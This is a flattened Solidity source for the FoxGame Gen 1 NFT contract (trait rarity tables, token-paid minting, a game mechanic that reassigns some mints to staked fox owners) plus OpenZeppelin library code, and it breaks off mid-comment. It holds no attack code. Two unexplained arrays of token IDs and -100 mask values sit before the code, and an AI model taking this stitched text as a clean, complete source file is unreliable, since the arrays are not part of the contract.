[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 9606, 1338, 4446, 1435, 288, 203, 3639, 1758, 389, 3666, 1887, 273, 1234, 18, 15330, 31, 203, 3639, 2583, 12, 3666, 63, 79, 24410, 581, 5034, 24899, 3666, 1887, 13, 19226, 203, 3639, 389, 31, 203, 565, 289, 203, 377, 203, 565, 422, 4428, 1432, 33, 5549, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/* ███████╗ ██████╗ ██╗ ██╗ ██████╗ █████╗ ███╗ ███╗███████╗ ██╔════╝██╔═══██╗╚██╗██╔╝ ██╔════╝ ██╔══██╗████╗ ████║██╔════╝ █████╗ ██║ ██║ ╚███╔╝ ██║ ███╗███████║██╔████╔██║█████╗ ██╔══╝ ██║ ██║ ██╔██╗ ██║ ██║██╔══██║██║╚██╔╝██║██╔══╝ ██║ ╚██████╔╝██╔╝ ██╗ ╚██████╔╝██║ ██║██║ ╚═╝ ██║███████╗ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝ */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.10; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721EnumerableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol"; import "./IFoxGameNFTTraits.sol"; import "./IFoxGameCarrot.sol"; import "./IFoxGameCrown.sol"; import "./IFoxGameNFT.sol"; import "./IFoxGame.sol"; contract FoxGameNFTGen1_v1_1 is IFoxGameNFT, ERC721EnumerableUpgradeable, OwnableUpgradeable, ReentrancyGuardUpgradeable { using ECDSAUpgradeable for bytes32; // signature verification helpers // Presale status bool public saleActive; // Mumber of players minted uint16 public minted; // External contracts IFoxGameCarrot private foxCarrot; IFoxGameNFTTraits private foxTraits; IFoxGame private foxGame; // Maximum players in the game uint16 public constant MAX_TOKENS = 50000; // Number of GEN 0 tokens uint16 public constant MAX_GEN0_TOKENS = 10000; // Rarity trait probabilities uint8[][29] private rarities; uint8[][29] private aliases; // Mapping of token ID to player traits mapping(uint16 => Traits) private tokenTraits; // Store previous trait combinations to prevent duplicates mapping(uint256 => bool) private knownCombinations; // Store origin seeds for each token mapping(uint32 => uint256) private tokenSeeds; // Events event SaleActive(bool active); event Mint(string kind, address owner, uint16 tokenId); event MintStolen(address thief, address victim, string kind, uint16 tokenId); // Mapping of traits to metadata display names string[3] private _types; // Store the latest block number to setup future calls requiring randomness // Address => Coin => Block Number mapping(address => mapping(IFoxGameNFT.Coin => uint32)) private _lastMintBlock; // Crown utility token IFoxGameCrown private foxCrown; // Event to handle mint failures event MintFailure(address account); // Init contract upgradability (only called once) function initialize(address carrot, address game, address traits) public initializer { __ERC721_init("FoxGame", "FOX"); __ERC721Enumerable_init(); __Ownable_init(); __ReentrancyGuard_init(); foxCarrot = IFoxGameCarrot(carrot); foxGame = IFoxGame(game); foxTraits = IFoxGameNFTTraits(traits); // Gen 1 starting token ID minted = MAX_GEN0_TOKENS; // Define token type names _types = [ "Rabbit", "Fox", "Hunter" ]; // Precomputed rarity probabilities on chain. // (via walker's alias algorithm) // RABBIT // Fur rarities[0] = [ 153, 153, 255, 102, 77, 230 ]; aliases[0] = [ 2, 2, 0, 2, 3, 3 ]; // Paws rarities[1] = [ 61, 184, 122, 122, 61, 255, 204, 122, 224, 255, 214, 184, 235, 61, 184, 184, 184, 122, 122, 184, 153, 245, 143, 224 ]; aliases[1] = [ 6, 8, 8, 9, 10, 0, 5, 15, 6, 8, 9, 15, 10, 20, 20, 12, 21, 22, 23, 23, 15, 20, 21, 22 ]; // Mouth rarities[2] = [ 191, 77, 191, 255, 38, 115, 204, 153, 191, 38, 64, 115, 77, 115, 128 ]; aliases[2] = [ 3, 3, 3, 0, 7, 7, 3, 6, 7, 10, 8, 13, 14, 10, 13 ]; // Nose rarities[3] = [ 255, 242, 153, 204, 115, 230, 230, 115, 115 ]; aliases[3] = [ 0, 0, 1, 2, 0, 0, 0, 2, 3 ]; // Eyes rarities[4] = [ 77, 255, 128, 77, 153, 153, 153, 77, 153, 230, 77, 77, 77, 204, 179, 230, 77, 179, 128, 179, 153, 230, 77, 77, 102, 77, 153, 153, 204, 77 ]; aliases[4] = [ 3, 0, 1, 2, 13, 13, 13, 13, 14, 14, 18, 19, 20, 3, 13, 20, 24, 14, 17, 18, 19, 20, 25, 25, 21, 24, 25, 26, 26, 28 ]; // Ears rarities[5] = [ 41, 61, 102, 204, 255, 102, 204, 204 ]; aliases[5] = [ 5, 5, 5, 5, 0, 4, 5, 5 ]; // Head rarities[6] = [ 87, 255, 130, 245, 173, 173, 191, 87, 176, 128, 217, 43, 173, 217, 92, 217, 43 ]; aliases[6] = [ 1, 0, 3, 1, 6, 6, 3, 9, 6, 8, 9, 9, 9, 9, 9, 9, 14 ]; // FOX // Tail rarities[7] = [ 255, 153, 204, 102 ]; aliases[7] = [ 0, 0, 0, 1 ]; // Fur rarities[8] = [ 255, 204, 153, 153 ]; aliases[8] = [ 0, 0, 1, 1 ]; // Feet rarities[9] = [ 255, 255, 229, 204, 229, 204, 179, 255, 255, 128 ]; aliases[9] = [ 0, 0, 1, 2, 3, 2, 3, 0, 0, 4 ]; // Neck rarities[10] = [ 255, 204, 204, 204, 127, 102, 51, 255, 255, 26 ]; aliases[10] = [ 0, 0, 1, 0, 2, 0, 1, 0, 0, 4 ]; // Mouth rarities[11] = [ 255, 102, 255, 255, 204, 153, 102, 255, 51, 51, 255, 204, 255, 204, 153, 204, 153, 51, 255, 51 ]; aliases[11] = [ 0, 2, 0, 2, 3, 2, 4, 6, 6, 6, 0, 7, 11, 12, 13, 7, 11, 13, 0, 14 ]; // Eyes rarities[12] = [ 56, 255, 179, 153, 158, 112, 133, 112, 112, 56, 250, 224, 199, 122, 240, 214, 189, 112, 112, 163, 112, 138 ]; aliases[12] = [ 1, 0, 1, 2, 3, 1, 4, 3, 6, 12, 6, 10, 11, 12, 13, 14, 15, 12, 13, 16, 21, 19 ]; // Cunning Score rarities[13] = [ 255, 153, 204, 102 ]; aliases[13] = [ 0, 0, 0, 1 ]; // HUNTER // Clothes rarities[14] = [ 128, 255, 128, 64, 255 ]; aliases[14] = [ 2, 0, 1, 2, 0 ]; // Weapon rarities[15] = [ 255, 153, 204, 102 ]; aliases[15] = [ 0, 0, 0, 1 ]; // Neck rarities[16] = [ 102, 255, 26, 153, 255 ]; aliases[16] = [ 1, 0, 3, 1, 0 ]; // Mouth rarities[17] = [ 255, 229, 179, 179, 89, 179, 217 ]; aliases[17] = [ 0, 0, 0, 6, 6, 6, 1 ]; // Eyes rarities[18] = [ 191, 255, 38, 77, 191, 77, 217, 38, 153, 191, 77, 191, 204, 77, 77 ]; aliases[18] = [ 1, 0, 4, 4, 1, 4, 5, 5, 6, 5, 5, 6, 8, 8, 12 ]; // Hat rarities[19] = [ 191, 38, 89, 255, 191 ]; aliases[19] = [ 3, 4, 4, 0, 3 ]; // Marksman Score rarities[20] = [ 255, 153, 204, 102 ]; aliases[20] = [ 0, 0, 0, 1 ]; } /** * Update the utility token contract address. */ function setCrownContract(address _address) external onlyOwner { foxCrown = IFoxGameCrown(_address); } /** * Helper method to fetch rotating entropy used to generate random seeds off-chain. */ function getEntropy(address recipient, IFoxGameNFT.Coin token) external view returns (uint256) { require(tx.origin == msg.sender, "eos only"); // Last mint block (defaults to zero the first time) return _lastMintBlock[recipient][token]; } /** * Upload rarity propbabilties. Only used in emergencies. * @param traitTypeId trait name id (0 corresponds to "fur") * @param _rarities walker rarity probailities * @param _aliases walker aliases index */ function uploadTraits(uint8 traitTypeId, uint8[] calldata _rarities, uint8[] calldata _aliases) external onlyOwner { rarities[traitTypeId] = _rarities; aliases[traitTypeId] = _aliases; } /** * Enable Sale. */ function toggleSale() external onlyOwner { saleActive = !saleActive; emit SaleActive(saleActive); } /** * Update the utility token contract address. */ function setCarrotContract(address _address) external onlyOwner { foxCarrot = IFoxGameCarrot(_address); } /** * Update the staking contract address. */ function setGameContract(address _address) external onlyOwner { foxGame = IFoxGame(_address); } /** * Update the ERC-721 trait contract address. */ function setTraitsContract(address _address) external onlyOwner { foxTraits = IFoxGameNFTTraits(_address); } /** * Expose traits to trait contract. */ function getTraits(uint16 tokenId) external view override returns (Traits memory) { return tokenTraits[tokenId]; } /** * Expose maximum GEN 0 tokens. */ function getMaxGEN0Players() external pure override returns (uint16) { return MAX_GEN0_TOKENS; } /** * Mint your players. * @param amount number of tokens to mint * @param stake mint directly to staking * @param token token to mint with (0 = CARRROT, 1 = CROWN) * @param blocknum block number used to generate randomness * @param originSeed account seed * @param sig signature */ function mint(uint32 amount, bool stake, IFoxGameNFT.Coin token, uint32 blocknum, uint256 originSeed, bytes calldata sig) external payable nonReentrant { require(blocknum == _lastMintBlock[msg.sender][token], "seed block did not match"); require(tx.origin == msg.sender, "eos only"); require(saleActive, "minting is not active"); require(minted + amount <= MAX_TOKENS, "minted out"); require(amount > 0 && amount <= 20, "invalid mint amount"); require(msg.value == 0, "only carrots required"); require(token == IFoxGameNFT.Coin.CARROT || token == IFoxGameNFT.Coin.CROWN, "unknown token"); require(foxGame.isValidMintSignature(msg.sender, uint8(token), blocknum, originSeed, sig), "invalid signature"); // CARROT mints are only allowed when holding a Barrel bool ownsBarrel = foxGame.ownsBarrel(msg.sender); require(token != IFoxGameNFT.Coin.CARROT || ownsBarrel, "CARROT minting requires a barrel"); // Update block for next mint _lastMintBlock[msg.sender][token] = uint32(block.number); // Determine if user is facing greater risk of losing mint bool elevatedRisk = foxGame.getCorruptionEnabled() && !ownsBarrel; // Mint tokens Kind kind; uint16[] memory tokenIdsToStake = stake ? new uint16[](amount) : new uint16[](0); uint256 mintCost; uint256 seed; string memory kindLabel; for (uint32 i; i < amount; i++) { minted++; seed = _reseedWithIndex(originSeed, minted + i); mintCost += getMintCost(token, minted); // Handle failure to mint if (token == IFoxGameNFT.Coin.CARROT && (seed >> 224) % 10 != 0) { minted--; // dial back token id emit MintFailure(msg.sender); continue; } kind = _generateAndStoreTraits(minted, seed, 0).kind; kindLabel = _types[uint8(kind)]; address recipient = _selectRecipient(seed, elevatedRisk); if (recipient != msg.sender) { // Stolen _safeMint(recipient, minted); emit MintStolen(recipient, msg.sender, kindLabel, minted); } else { if (stake) { // Staked tokenIdsToStake[i] = minted; _safeMint(address(foxGame), minted); } else { // Mint _safeMint(msg.sender, minted); } emit Mint(kindLabel, msg.sender, minted); } } // Burn if (token == IFoxGameNFT.Coin.CARROT) { foxCarrot.burn(msg.sender, mintCost); } else { foxCrown.burn(msg.sender, mintCost); } // Stake if (stake) { foxGame.stakeTokens(msg.sender, tokenIdsToStake); } } /** * Calculate the foxCarrot cost: * - the first 20% are 20000 $CROWN / 120000 $CARROT * - the next 40% are 40000 $CROWN / 140000 $CARROT * - the final 20% are 80000 $CROWN / 180000 $CARROT * @param token utility token to pay for mint * @param tokenId the ID to check the cost of to mint * @return the cost of the given token ID */ function getMintCost(IFoxGameNFT.Coin token, uint16 tokenId) public pure returns (uint256) { if (token == IFoxGameNFT.Coin.CARROT) { if (tokenId <= 20000) return 120000 ether; if (tokenId <= 40000) return 140000 ether; return 180000 ether; } else { // CROWN if (tokenId <= 20000) return 20000 ether; if (tokenId <= 40000) return 40000 ether; return 80000 ether; } } /** * Generate and store player traits. Recursively called to ensure uniqueness. * Give users 3 attempts, bit shifting the seed each time (uses 5 bytes of entropy before failing) * @param tokenId id of the token to generate traits * @param seed random 256 bit seed to derive traits * @return t player trait struct */ function _generateAndStoreTraits(uint16 tokenId, uint256 seed, uint8 attempt) internal returns (Traits memory t) { require(attempt < 6, "unable to generate unique traits"); t = _selectTraits(seed); if (!knownCombinations[_structToHash(t)]) { tokenTraits[tokenId] = t; knownCombinations[_structToHash(t)] = true; return t; } return _generateAndStoreTraits(tokenId, seed >> attempt, attempt + 1); } /** * uses A.J. Walker's Alias algorithm for O(1) rarity table lookup * ensuring O(1) instead of O(n) reduces mint cost by more than 50% * probability & alias tables are generated off-chain beforehand * @param seed portion of the 256 bit seed to remove trait correlation * @param traitType the trait type to select a trait for * @return the ID of the randomly selected trait */ function _selectTrait(uint16 seed, uint8 traitType) internal view returns (uint8) { uint8 trait = uint8(seed) % uint8(rarities[traitType].length); if (seed >> 8 < rarities[traitType][trait]) return trait; return aliases[traitType][trait]; } /** * the first 20% (ETH purchases) go to the minter * the remaining 80% have a 10% chance to be given to a random staked fox * @param seed a random value to select a recipient from * @param elevatedRisk true if the user is at higher risk of losing their mint * @return the address of the recipient (either the minter or the fox thief's owner) */ function _selectRecipient(uint256 seed, bool elevatedRisk) internal view returns (address) { if (((seed >> 245) % (elevatedRisk ? 4 : 10)) != 0) { return msg.sender; // top 10 bits haven't been used } // 144 bits reserved for trait selection address thief = foxGame.randomFoxOwner(seed >> 144); if (thief == address(0x0)) { return msg.sender; } return thief; } /** * selects the species and all of its traits based on the seed value * @param seed a pseudorandom 256 bit number to derive traits from * @return t struct of randomly selected traits */ function _selectTraits(uint256 seed) internal view returns (Traits memory t) { uint mod = (seed & 0xFFFF) % 50; t.kind = Kind(mod == 0 ? 2 : mod < 5 ? 1 : 0); // Use 128 bytes of seed entropy to define traits. uint8 offset = uint8(t.kind) * 7; // RABBIT FOX HUNTER seed >>= 16; t.traits[0] = _selectTrait(uint16(seed & 0xFFFF), 0 + offset); // Fur Tail Clothes seed >>= 16; t.traits[1] = _selectTrait(uint16(seed & 0xFFFF), 1 + offset); // Head Fur Weapon seed >>= 16; t.traits[2] = _selectTrait(uint16(seed & 0xFFFF), 2 + offset); // Ears Eyes Neck seed >>= 16; t.traits[3] = _selectTrait(uint16(seed & 0xFFFF), 3 + offset); // Eyes Mouth Mouth seed >>= 16; t.traits[4] = _selectTrait(uint16(seed & 0xFFFF), 4 + offset); // Nose Neck Eyes seed >>= 16; t.traits[5] = _selectTrait(uint16(seed & 0xFFFF), 5 + offset); // Mouth Feet Hat seed >>= 16; t.traits[6] = _selectTrait(uint16(seed & 0xFFFF), 6 + offset); // Paws Cunning Marksman if (t.kind == IFoxGameNFT.Kind.FOX) { t.advantage = t.traits[6] = t.traits[0]; } else if (t.kind == IFoxGameNFT.Kind.HUNTER) { t.advantage = t.traits[6] = t.traits[1]; } } /** * converts a struct to a 256 bit hash to check for uniqueness * @param t the struct to pack into a hash * @return the 256 bit hash of the struct */ function _structToHash(Traits memory t) internal pure returns (uint256) { return uint256(bytes32( abi.encodePacked( t.kind, t.advantage, t.traits[0], t.traits[1], t.traits[2], t.traits[3], t.traits[4], t.traits[5], t.traits[6] ) )); } /** * Reseeds entropy with mint amount offset. * @param seed random seed * @param offset additional entropy during mint * @return rotated seed */ function _reseedWithIndex(uint256 seed, uint32 offset) internal pure returns (uint256) { return uint256(keccak256(abi.encodePacked(seed, offset))); } /** * Allow private sales. */ function mintToAddress(uint256 amount, address recipient, uint256 originSeed) external onlyOwner { require(minted + amount <= MAX_TOKENS, "minted out"); require(amount > 0, "invalid mint amount"); Kind kind; uint256 seed; for (uint32 i; i < amount; i++) { minted++; seed = _reseedWithIndex(originSeed, minted); kind = _generateAndStoreTraits(minted, seed, 0).kind; _safeMint(recipient, minted); emit Mint(kind == Kind.RABBIT ? "RABBIT" : kind == Kind.FOX ? "FOX" : "HUNTER", recipient, minted); } } /** * Allows owner to withdraw funds from minting. */ function withdraw() external onlyOwner { payable(owner()).transfer(address(this).balance); } /** * Override transfer to avoid the approval step during staking. */ function transferFrom(address from, address to, uint256 tokenId) public override(IFoxGameNFT, ERC721Upgradeable) { if (msg.sender != address(foxGame)) { require(_isApprovedOrOwner(msg.sender, tokenId), "transfer not owner nor approved"); } _transfer(from, to, tokenId); } /** * Override NFT token uri. Calls into traits contract. */ function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), "nonexistent token"); return foxTraits.tokenURI(uint16(tokenId)); } /** * Ennumerate tokens by owner. */ function tokensOf(address owner) external view returns (uint16[] memory) { uint32 tokenCount = uint32(balanceOf(owner)); uint16[] memory tokensId = new uint16[](tokenCount); for (uint32 i; i < tokenCount; i++){ tokensId[i] = uint16(tokenOfOwnerByIndex(owner, i)); } return tokensId; } /** * Overridden to resolve multiple inherited interfaces. */ function ownerOf(uint256 tokenId) public view override(IFoxGameNFT, ERC721Upgradeable) returns (address) { return super.ownerOf(tokenId); } /** * Overridden to resolve multiple inherited interfaces. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public override(IFoxGameNFT, ERC721Upgradeable) { super.safeTransferFrom(from, to, tokenId, _data); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721Upgradeable.sol"; import "./IERC721EnumerableUpgradeable.sol"; import "../../../proxy/utils/Initializable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721EnumerableUpgradeable is Initializable, ERC721Upgradeable, IERC721EnumerableUpgradeable { function __ERC721Enumerable_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721Enumerable_init_unchained(); } function __ERC721Enumerable_init_unchained() internal initializer { } // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, ERC721Upgradeable) returns (bool) { return interfaceId == type(IERC721EnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721Upgradeable.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721EnumerableUpgradeable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721Upgradeable.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721Upgradeable.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } uint256[46] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSAUpgradeable { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the 